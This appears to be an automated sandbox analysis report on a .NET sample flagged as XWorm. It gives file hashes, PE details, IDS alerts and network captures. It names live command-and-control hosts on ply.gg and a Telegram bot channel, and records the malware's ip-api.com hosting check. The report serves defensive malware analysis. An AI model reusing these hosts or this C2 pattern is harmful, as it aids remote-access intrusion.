Preview:	ElfChnk.....................................H...x.....e.....................................................................W"r\|............................................=...........................................................................................................................f...............?...........................m...................M...F....................S......................................&...................................u...................................................**...............Dbf..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Winlogon%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.421206160086997
Encrypted:	false
SSDEEP:	384:ah1qUEzUELUEnUEQUEpUE9UE4UEvUEqUEGUEuUEyUEpjUEmUE6UEVUE1UEdUEoUF:arN5mPfkvmR
MD5:	67CAD90771EBC0BD20736201D89C1586
SHA1:	EE241B07EBD6E7A64AE367520F5C0665F4EBBAD7
SHA-256:	7801ED56F87C5A71A42128D089176CFDAACCCD6998EACCD07E46207F2CD48467
SHA-512:	27DE77A98E11A1D33B648B9F46671F61338B1746032B4AD8F003A8A5C52FB7C3ECCB834057074EF5FCD3459A0810439BAF63E1320B385F7A5E81757A90BBFD13
Malicious:	false
Preview:	ElfChnk.........l...............l...............@....^.....................................................................+t].................6.......................^...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.......Q8.......................................................6......................**...............yM..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Security.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	68120
Entropy (8bit):	4.328728890970768
Encrypted:	false
SSDEEP:	384:ilFRslFRtoaonS6cWNfoLSbdsLSvnQYoxMtg6Wo9MtxLo9MtMozonuoxNo/Vo1+W:Wmza1ZGg6Ur6V8
MD5:	8A8ECCD84253B2E181AE7082A9963F9C
SHA1:	71969E1AFAB903CDA0A9B2BD1D207B27B9F798B4
SHA-256:	1F4930DD01D4D397132DF6B3E522E4359FAFFC33813EBDA133D24A1AE2C79246
SHA-512:	1E8BA76CFA92C70E88B154B4BFD49EF849CBAA0FE152F8A15593E45957E9B890BA91FE7A720912A5BD64CC97F7064810E2861F38D2E75300F42A6E8BF3860161
Malicious:	false
Preview:	ElfChnk.................U.......U....................`.J......................................................................@;....................s...h...............N...=...................................................N...............................................w.......4.......................-...................................[...........).......M...R...:...........................................................&...................................................................................**......U........`.j...........Wt.&........Wt...wX..9Ck?5.?.......A..3...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.....\...........oT..S.y.s.t.e.m....A...............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.E.v.e.n.t.l.o.g..........)...G.u.i.d.....&.{.f.c.6.5.d.d.d.8.-.d.6.e.f.-.4.9.6.2.-.8.3.d.5.-.6.e.5.c.f.e.9.c.e.1.

C:\Windows\System32\winevt\Logs\System.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	74928
Entropy (8bit):	4.368406135879575
Encrypted:	false
SSDEEP:	384:kFRc1tFRc1iKcpIj5dK4hcZGDSND+z6q0Cq1oqQmRtRbR4HeJvGAgXZIpURCOLiU:yYtunLmLQXHmtpJnqiNHpzoQpm5C+
MD5:	C9F435B94734254BE656386AB7DFBEBA
SHA1:	FE90927BFD04C5433E6F63520E4E8DD70628AD1A
SHA-256:	62E43AF089F6B706118188DFB2325CA3B9C467B7854AD51ECD5081EAA15954C8
SHA-512:	FA9980A06C9021960495D6B5D82779D131828F3C5F0CAAABEFD8ED65827BC03CFA9DB13940775ABBA7E0480EB871B3729EA4A1AA45B06EBF9B3E507049E58013
Malicious:	false
Preview:	ElfChnk.................m.......r.....................;z.....................................................................xU.....................s...h...............N...=...................................................N...............................................w.......0.......................E...................................W...........).......M...3...:...........................................................................................................................&...................**......m........`.j...........i.e&........i.e.t.Q...H.C.A;.......A../...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.....X...........oT..S.y.s.t.e.m....A...............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.E.v.e.n.t.l.o.g..........)...G.u.i.d.....&.{.f.c.6.5.d.d.d.8.-.d.6.e.f.-.4.9.6.2.-.8.3.d.5.-.6.e.5.c.f.e.9.c.e.1.

C:\Windows\System32\winevt\Logs\Windows PowerShell.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	115992
Entropy (8bit):	3.8957449966307878
Encrypted:	false
SSDEEP:	1536:qx6Wl36WlE/s03xuY6WlYXx6Wl36WlE/s03xuY6WlYPU7h02/Xrkczn00B9g:o6Wl36Wlc6Wls6Wl36Wlc6Wlc
MD5:	72D7944BD27F98D070F14BA2490892A0
SHA1:	4D0AB46A4B7897151EE75378FA02BF1B9DA58207
SHA-256:	CFCA10084ED5AF4CC9ED3335609D6DE6EBE1E77EFEB15A1EA936D029CB98F4EC
SHA-512:	7AB2778BA54847D7C4553BCFE4EC5E9BF11E8B58347B846CC9E3239F1F8D13EF4DE6D7822AABA983FB01E6F76D2D92C2F8AA62058A62B342F4A33FF15FAC6286
Malicious:	false
Preview:	ElfChnk.................~.............................H.......................................................................u............................................=..........................................................................................................................._...............8...........................f...................M...c...........................n...............................................&.......................................................................**...3..~.........o...........B.&........B...._j..d.:Ad........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..R............{..P.r.o.v.i.d.e.r.../....=.......K...N.a.m.e.......P.o.w.e.r.S.h.e.l.l..A..M...s........a..E.v.e.n.t.I.D...'............)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n............

C:\Windows\Temp\__PSScriptPolicyTest_k3mktlxl.vwn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_qnblsrzc.xue.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	4.011952127732658
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	mIURiU8n2P.exe
File size:	512'512 bytes
MD5:	e1c82191b678cea8f3c996887ddc1232
SHA1:	7946006ca278892817b7a778eea1e04f5b2f948c
SHA256:	bd00a7577088b67b52699f956275a3f563d623ca907feeeaee8d2f821d35de40
SHA512:	cb1499db7c1a7b3c4436d02a1218a055f9c04d7b4ae2ca01fd179a6bdb74c30c8cda1ffda8b61dcc3397b97351b77d683295cb46701a614cf7341906bd807804
SSDEEP:	12288:kU43i+9MrOq5q7pN37VvbvH3pJJtlueGAmp8R6LqSY4JiFZlmM5Ki634:V4JZDhAWS2ZN
TLSH:	5AB428243DFB501AB173EFA69BE8799ADA6FB3733B06641A109103474B13981DEC153E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..f................................. ........@.. .......................@............@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x47e6ae
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66E8A53F [Mon Sep 16 21:38:07 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7e654	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x80000	0x4de	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x82000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x7c6b4	0x7c800	79d8d818f8056dcb0c8d54db15f7c858	False	0.47457996046686746	data	4.010562426386997	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x80000	0x4de	0x600	d45abf76ae74238289ede96d0455e824	False	0.376953125	data	3.766931639111126	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x82000	0xc	0x200	ff2fc218b8f6e1dd234f0dbec2c8f47f	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x800a0	0x254	data			0.46476510067114096
RT_MANIFEST	0x802f4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-13T19:15:38.561396+0200	2855924	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.4	49738	147.185.221.21	28600	TCP
2024-10-13T19:15:49.657430+0200	2853685	ETPRO MALWARE Win32/XWorm Checkin via Telegram	1	192.168.2.4	49739	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2024 19:15:03.640660048 CEST	49730	80	192.168.2.4	208.95.112.1
Oct 13, 2024 19:15:03.645598888 CEST	80	49730	208.95.112.1	192.168.2.4
Oct 13, 2024 19:15:03.648997068 CEST	49730	80	192.168.2.4	208.95.112.1
Oct 13, 2024 19:15:03.650500059 CEST	49730	80	192.168.2.4	208.95.112.1
Oct 13, 2024 19:15:03.655415058 CEST	80	49730	208.95.112.1	192.168.2.4
Oct 13, 2024 19:15:04.163295984 CEST	80	49730	208.95.112.1	192.168.2.4
Oct 13, 2024 19:15:04.217112064 CEST	49730	80	192.168.2.4	208.95.112.1
Oct 13, 2024 19:15:05.331224918 CEST	49731	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:15:05.337301970 CEST	28600	49731	147.185.221.21	192.168.2.4
Oct 13, 2024 19:15:05.337377071 CEST	49731	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:15:05.635096073 CEST	49731	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:15:05.640022993 CEST	28600	49731	147.185.221.21	192.168.2.4
Oct 13, 2024 19:15:18.427524090 CEST	49731	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:15:18.432459116 CEST	28600	49731	147.185.221.21	192.168.2.4
Oct 13, 2024 19:15:26.716367960 CEST	28600	49731	147.185.221.21	192.168.2.4
Oct 13, 2024 19:15:26.717092991 CEST	49731	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:15:27.280029058 CEST	49731	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:15:27.285273075 CEST	28600	49731	147.185.221.21	192.168.2.4
Oct 13, 2024 19:15:27.302357912 CEST	49738	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:15:27.307204962 CEST	28600	49738	147.185.221.21	192.168.2.4
Oct 13, 2024 19:15:27.307274103 CEST	49738	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:15:27.377914906 CEST	49738	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:15:27.382849932 CEST	28600	49738	147.185.221.21	192.168.2.4
Oct 13, 2024 19:15:38.561395884 CEST	49738	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:15:38.568368912 CEST	28600	49738	147.185.221.21	192.168.2.4
Oct 13, 2024 19:15:48.197601080 CEST	49739	443	192.168.2.4	149.154.167.220
Oct 13, 2024 19:15:48.197711945 CEST	443	49739	149.154.167.220	192.168.2.4
Oct 13, 2024 19:15:48.197810888 CEST	49739	443	192.168.2.4	149.154.167.220
Oct 13, 2024 19:15:48.212207079 CEST	49739	443	192.168.2.4	149.154.167.220
Oct 13, 2024 19:15:48.212248087 CEST	443	49739	149.154.167.220	192.168.2.4
Oct 13, 2024 19:15:48.688169003 CEST	28600	49738	147.185.221.21	192.168.2.4
Oct 13, 2024 19:15:48.688262939 CEST	49738	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:15:48.832576036 CEST	443	49739	149.154.167.220	192.168.2.4
Oct 13, 2024 19:15:48.832680941 CEST	49739	443	192.168.2.4	149.154.167.220
Oct 13, 2024 19:15:49.044614077 CEST	49739	443	192.168.2.4	149.154.167.220
Oct 13, 2024 19:15:49.044711113 CEST	443	49739	149.154.167.220	192.168.2.4
Oct 13, 2024 19:15:49.045017958 CEST	443	49739	149.154.167.220	192.168.2.4
Oct 13, 2024 19:15:49.092051983 CEST	49739	443	192.168.2.4	149.154.167.220
Oct 13, 2024 19:15:49.484347105 CEST	49739	443	192.168.2.4	149.154.167.220
Oct 13, 2024 19:15:49.527448893 CEST	443	49739	149.154.167.220	192.168.2.4
Oct 13, 2024 19:15:49.657393932 CEST	443	49739	149.154.167.220	192.168.2.4
Oct 13, 2024 19:15:49.657460928 CEST	443	49739	149.154.167.220	192.168.2.4
Oct 13, 2024 19:15:49.657609940 CEST	49739	443	192.168.2.4	149.154.167.220
Oct 13, 2024 19:15:49.675430059 CEST	49739	443	192.168.2.4	149.154.167.220
Oct 13, 2024 19:15:49.815711021 CEST	49740	60075	192.168.2.4	147.185.221.20
Oct 13, 2024 19:15:49.820631027 CEST	60075	49740	147.185.221.20	192.168.2.4
Oct 13, 2024 19:15:49.820708990 CEST	49740	60075	192.168.2.4	147.185.221.20
Oct 13, 2024 19:15:49.840579033 CEST	49740	60075	192.168.2.4	147.185.221.20
Oct 13, 2024 19:15:49.845840931 CEST	60075	49740	147.185.221.20	192.168.2.4
Oct 13, 2024 19:15:50.407160044 CEST	49738	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:15:50.412215948 CEST	28600	49738	147.185.221.21	192.168.2.4
Oct 13, 2024 19:15:50.412928104 CEST	49741	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:15:50.417965889 CEST	28600	49741	147.185.221.21	192.168.2.4
Oct 13, 2024 19:15:50.418071985 CEST	49741	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:15:50.472738028 CEST	49741	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:15:50.477808952 CEST	28600	49741	147.185.221.21	192.168.2.4
Oct 13, 2024 19:16:04.171905041 CEST	49740	60075	192.168.2.4	147.185.221.20
Oct 13, 2024 19:16:04.176759005 CEST	60075	49740	147.185.221.20	192.168.2.4
Oct 13, 2024 19:16:04.297403097 CEST	49741	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:16:04.302705050 CEST	28600	49741	147.185.221.21	192.168.2.4
Oct 13, 2024 19:16:04.940265894 CEST	80	49730	208.95.112.1	192.168.2.4
Oct 13, 2024 19:16:04.940334082 CEST	49730	80	192.168.2.4	208.95.112.1
Oct 13, 2024 19:16:11.219939947 CEST	60075	49740	147.185.221.20	192.168.2.4
Oct 13, 2024 19:16:11.220133066 CEST	49740	60075	192.168.2.4	147.185.221.20
Oct 13, 2024 19:16:11.794816017 CEST	28600	49741	147.185.221.21	192.168.2.4
Oct 13, 2024 19:16:11.795072079 CEST	49741	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:16:11.821845055 CEST	49741	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:16:11.825458050 CEST	49837	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:16:11.826886892 CEST	28600	49741	147.185.221.21	192.168.2.4
Oct 13, 2024 19:16:11.830461025 CEST	28600	49837	147.185.221.21	192.168.2.4
Oct 13, 2024 19:16:11.830548048 CEST	49837	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:16:11.989213943 CEST	49837	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:16:11.994463921 CEST	28600	49837	147.185.221.21	192.168.2.4
Oct 13, 2024 19:16:12.874845028 CEST	49740	60075	192.168.2.4	147.185.221.20
Oct 13, 2024 19:16:12.880217075 CEST	60075	49740	147.185.221.20	192.168.2.4
Oct 13, 2024 19:16:12.881263971 CEST	49838	60075	192.168.2.4	147.185.221.20
Oct 13, 2024 19:16:12.886713982 CEST	60075	49838	147.185.221.20	192.168.2.4
Oct 13, 2024 19:16:12.886820078 CEST	49838	60075	192.168.2.4	147.185.221.20
Oct 13, 2024 19:16:13.206939936 CEST	49838	60075	192.168.2.4	147.185.221.20
Oct 13, 2024 19:16:13.212066889 CEST	60075	49838	147.185.221.20	192.168.2.4
Oct 13, 2024 19:16:33.216303110 CEST	28600	49837	147.185.221.21	192.168.2.4
Oct 13, 2024 19:16:33.217964888 CEST	49837	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:16:34.267072916 CEST	60075	49838	147.185.221.20	192.168.2.4
Oct 13, 2024 19:16:34.267155886 CEST	49838	60075	192.168.2.4	147.185.221.20
Oct 13, 2024 19:16:37.596194983 CEST	49837	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:16:37.601551056 CEST	28600	49837	147.185.221.21	192.168.2.4
Oct 13, 2024 19:16:56.810834885 CEST	49838	60075	192.168.2.4	147.185.221.20
Oct 13, 2024 19:16:56.812180996 CEST	49851	60075	192.168.2.4	147.185.221.20
Oct 13, 2024 19:16:56.816430092 CEST	60075	49838	147.185.221.20	192.168.2.4
Oct 13, 2024 19:16:56.817178011 CEST	60075	49851	147.185.221.20	192.168.2.4
Oct 13, 2024 19:16:56.817256927 CEST	49851	60075	192.168.2.4	147.185.221.20
Oct 13, 2024 19:17:13.291224003 CEST	49730	80	192.168.2.4	208.95.112.1
Oct 13, 2024 19:17:13.301399946 CEST	49851	60075	192.168.2.4	147.185.221.20
Oct 13, 2024 19:17:13.306267023 CEST	60075	49851	147.185.221.20	192.168.2.4
Oct 13, 2024 19:17:13.591873884 CEST	49730	80	192.168.2.4	208.95.112.1
Oct 13, 2024 19:17:13.946995020 CEST	49877	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:17:13.951889992 CEST	28600	49877	147.185.221.21	192.168.2.4
Oct 13, 2024 19:17:13.952009916 CEST	49877	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:17:14.029781103 CEST	49877	28600	192.168.2.4	147.185.221.21
Oct 13, 2024 19:17:14.034765959 CEST	28600	49877	147.185.221.21	192.168.2.4
Oct 13, 2024 19:17:14.201272964 CEST	49730	80	192.168.2.4	208.95.112.1
Oct 13, 2024 19:17:15.404361963 CEST	49730	80	192.168.2.4	208.95.112.1
Oct 13, 2024 19:17:16.280477047 CEST	52581	53	192.168.2.4	1.1.1.1
Oct 13, 2024 19:17:16.285481930 CEST	53	52581	1.1.1.1	192.168.2.4
Oct 13, 2024 19:17:16.285557032 CEST	52581	53	192.168.2.4	1.1.1.1
Oct 13, 2024 19:17:16.285820961 CEST	52581	53	192.168.2.4	1.1.1.1
Oct 13, 2024 19:17:16.290602922 CEST	53	52581	1.1.1.1	192.168.2.4
Oct 13, 2024 19:17:16.749023914 CEST	53	52581	1.1.1.1	192.168.2.4
Oct 13, 2024 19:17:16.794971943 CEST	52581	53	192.168.2.4	1.1.1.1
Oct 13, 2024 19:17:17.810609102 CEST	49730	80	192.168.2.4	208.95.112.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2024 19:15:03.624383926 CEST	59615	53	192.168.2.4	1.1.1.1
Oct 13, 2024 19:15:03.632144928 CEST	53	59615	1.1.1.1	192.168.2.4
Oct 13, 2024 19:15:05.292115927 CEST	56673	53	192.168.2.4	1.1.1.1
Oct 13, 2024 19:15:05.325293064 CEST	53	56673	1.1.1.1	192.168.2.4
Oct 13, 2024 19:15:27.289050102 CEST	56889	53	192.168.2.4	1.1.1.1
Oct 13, 2024 19:15:27.301724911 CEST	53	56889	1.1.1.1	192.168.2.4
Oct 13, 2024 19:15:48.189029932 CEST	52177	53	192.168.2.4	1.1.1.1
Oct 13, 2024 19:15:48.196780920 CEST	53	52177	1.1.1.1	192.168.2.4
Oct 13, 2024 19:15:49.801489115 CEST	63416	53	192.168.2.4	1.1.1.1
Oct 13, 2024 19:15:49.815073013 CEST	53	63416	1.1.1.1	192.168.2.4
Oct 13, 2024 19:17:16.280061007 CEST	53	56030	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 13, 2024 19:15:03.624383926 CEST	192.168.2.4	1.1.1.1	0x75ce	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Oct 13, 2024 19:15:05.292115927 CEST	192.168.2.4	1.1.1.1	0xec1c	Standard query (0)	subscribe-bond.gl.at.ply.gg	A (IP address)	IN (0x0001)	false
Oct 13, 2024 19:15:27.289050102 CEST	192.168.2.4	1.1.1.1	0xe5fa	Standard query (0)	subscribe-bond.gl.at.ply.gg	A (IP address)	IN (0x0001)	false
Oct 13, 2024 19:15:48.189029932 CEST	192.168.2.4	1.1.1.1	0xf6b0	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Oct 13, 2024 19:15:49.801489115 CEST	192.168.2.4	1.1.1.1	0x94b0	Standard query (0)	updates-full.gl.at.ply.gg	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 13, 2024 19:15:03.632144928 CEST	1.1.1.1	192.168.2.4	0x75ce	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Oct 13, 2024 19:15:05.325293064 CEST	1.1.1.1	192.168.2.4	0xec1c	No error (0)	subscribe-bond.gl.at.ply.gg	147.185.221.21	A (IP address)	IN (0x0001)	false
Oct 13, 2024 19:15:27.301724911 CEST	1.1.1.1	192.168.2.4	0xe5fa	No error (0)	subscribe-bond.gl.at.ply.gg	147.185.221.21	A (IP address)	IN (0x0001)	false
Oct 13, 2024 19:15:48.196780920 CEST	1.1.1.1	192.168.2.4	0xf6b0	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)	false
Oct 13, 2024 19:15:49.815073013 CEST	1.1.1.1	192.168.2.4	0x94b0	No error (0)	updates-full.gl.at.ply.gg	147.185.221.20	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.telegram.org

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	208.95.112.1	80	5804	C:\Users\Public\DeadROOTkit.exe

Timestamp	Bytes transferred	Direction	Data
Oct 13, 2024 19:15:03.650500059 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
